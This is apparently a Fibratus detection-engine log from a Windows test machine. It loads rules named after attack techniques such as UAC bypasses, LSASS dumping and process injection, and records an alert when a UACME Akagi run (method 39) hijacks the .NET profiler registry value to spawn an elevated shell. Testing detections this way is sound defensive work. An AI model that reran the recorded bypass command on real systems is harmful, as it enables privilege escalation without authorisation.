C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:27:15+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:27:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:27:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:27:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:27:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:27:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:27:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:27:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:27:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:27:16+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:27:16+01:00 level=info msg=bootstrapping with pid 18148. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:27:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-dns=>false enable-image=>true flush-interval=>1s enable-registry=>true max-buffers=>36 enable-thread=>true stack-enrichment=>true enable-vamap=>true enable-net=>true enable-fileio=>true min-buffers=>16 enable-threadpool=>false enable-mem=>false buffer-size=>512 enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true max-backups=>15 level=>info max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s sniff=>false healthcheck-timeout=>5s healthcheck=>true flush-period=>1s bulk-workers=>1 servers=>[http://127.0.0.1:9200] timeout=>5s enabled=>false template-name=>fibratus index-name=>fibratus gzip-compression=>false trace-log=>false] amqp=>[ delivery-mode=>transient timeout=>5s passive=>false routing-key=>fibratus vhost=>/ exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic durable=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false serializer=>json method=>POST endpoints=>[] enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s skip-files=>false skip-registry=>false excluded-procs=>[] skip-mmaps=>false enabled=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:27:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:27:18+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:27:40+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 8785205 + Pid: 14664 + Tid: 10052 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:27:24.7604756 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffc38f27f97bc0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037 + + Pid: 14664 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 8806544 + Pid: 17540 + Tid: 13056 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:27:25.797143 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3b72d0000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff978f7bfd6080, name➜ cmd.exe, pid➜ 16516, ppid➜ 17540, real_ppid➜ 17540, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-05 15:27:25.797069 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004 + + Pid: 17540 + Ppid: 14664 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T15:27:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:27:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:27:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:28:21+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:28:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml 